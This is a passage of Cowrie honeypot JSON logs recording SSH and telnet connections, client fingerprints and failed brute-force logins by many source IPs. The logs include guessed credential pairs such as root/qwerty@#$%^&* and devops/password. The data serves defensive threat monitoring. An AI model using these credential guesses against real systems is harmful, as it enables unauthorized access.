01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:36.127687Z","src_ip":"162.241.239.241","session":"76b933c31fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&*","message":"login attempt [root/qwerty@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:36.203942Z","src_ip":"162.241.239.241","session":"76b933c31fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:37.232838Z","src_ip":"162.241.239.241","session":"76b933c31fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2500,"dst_ip":"159.203.135.109","dst_port":22,"session":"e81b2c7d1385","protocol":"ssh","message":"New connection: 196.188.93.169:2500 (159.203.135.109:22) [session: e81b2c7d1385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:39.063339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:39.067089Z","src_ip":"196.188.93.169","session":"e81b2c7d1385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:39.234948Z","src_ip":"196.188.93.169","session":"e81b2c7d1385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manish","message":"login attempt [root/manish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:39.941755Z","src_ip":"196.188.93.169","session":"e81b2c7d1385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:41.112845Z","src_ip":"196.188.93.169","session":"e81b2c7d1385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6c2c98233f","protocol":"ssh","message":"New connection: 8.210.75.243:44996 (10.17.0.5:22) [session: ce6c2c98233f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:42.855667Z"}
{"eventid":"cowrie.session.closed","duration":23.75184965133667,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:51.955630Z","src_ip":"170.64.224.25","session":"cceb4fe6e726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7f032e7c19","protocol":"ssh","message":"New connection: 164.92.161.148:44432 (10.17.0.5:22) [session: 2f7f032e7c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.317191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.325720Z","src_ip":"164.92.161.148","session":"2f7f032e7c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.406195Z","src_ip":"164.92.161.148","session":"2f7f032e7c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":57248,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a80b980eac","protocol":"ssh","message":"New connection: 139.59.208.49:57248 (10.17.0.5:22) [session: 61a80b980eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.747839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.751645Z","src_ip":"139.59.208.49","session":"61a80b980eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"113355","message":"login attempt [root/113355] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.765553Z","src_ip":"164.92.161.148","session":"2f7f032e7c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":37802,"dst_ip":"159.203.135.109","dst_port":22,"session":"196e8aacab52","protocol":"ssh","message":"New connection: 45.94.68.69:37802 (159.203.135.109:22) [session: 196e8aacab52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.827965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.830614Z","src_ip":"45.94.68.69","session":"196e8aacab52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:54.836995Z","src_ip":"139.59.208.49","session":"61a80b980eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:55.043255Z","src_ip":"45.94.68.69","session":"196e8aacab52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@joinet","message":"login attempt [root/root@joinet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:55.218189Z","src_ip":"139.59.208.49","session":"61a80b980eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:55.852254Z","src_ip":"164.92.161.148","session":"2f7f032e7c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MKMKMKMK","message":"login attempt [root/MKMKMKMK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:55.929464Z","src_ip":"45.94.68.69","session":"196e8aacab52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:56.306102Z","src_ip":"139.59.208.49","session":"61a80b980eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:57.145481Z","src_ip":"45.94.68.69","session":"196e8aacab52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54332,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a4b423615ea","protocol":"telnet","message":"New connection: 170.64.224.25:54332 (159.203.135.109:23) [session: 4a4b423615ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:12.701489Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42916,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d7984959e18","protocol":"ssh","message":"New connection: 91.92.40.4:42916 (10.17.0.5:22) [session: 8d7984959e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:13.715842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:13.721277Z","src_ip":"91.92.40.4","session":"8d7984959e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:13.802926Z","src_ip":"91.92.40.4","session":"8d7984959e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"wasd","message":"login attempt [git/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:14.048603Z","src_ip":"91.92.40.4","session":"8d7984959e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":35708,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a968f0fe5c","protocol":"ssh","message":"New connection: 129.121.102.3:35708 (10.17.0.5:22) [session: a1a968f0fe5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:14.614590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:14.619594Z","src_ip":"129.121.102.3","session":"a1a968f0fe5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:14.646119Z","src_ip":"129.121.102.3","session":"a1a968f0fe5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"password","message":"login attempt [devops/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:14.788936Z","src_ip":"129.121.102.3","session":"a1a968f0fe5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:15.133366Z","src_ip":"91.92.40.4","session":"8d7984959e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:15.818515Z","src_ip":"129.121.102.3","session":"a1a968f0fe5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":53226,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7c9399f928","protocol":"ssh","message":"New connection: 103.97.101.25:53226 (159.203.135.109:22) [session: bb7c9399f928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:18.358645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:18.362974Z","src_ip":"103.97.101.25","session":"bb7c9399f928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:18.599598Z","src_ip":"103.97.101.25","session":"bb7c9399f928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mg123","message":"login attempt [root/Mg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:19.577755Z","src_ip":"103.97.101.25","session":"bb7c9399f928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:20.817145Z","src_ip":"103.97.101.25","session":"bb7c9399f928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":42390,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fefccb45d1f","protocol":"ssh","message":"New connection: 113.161.222.150:42390 (159.203.135.109:22) [session: 7fefccb45d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:29.698794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:29.702871Z","src_ip":"113.161.222.150","session":"7fefccb45d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:29.940027Z","src_ip":"113.161.222.150","session":"7fefccb45d1f","protocol":"ssh"}
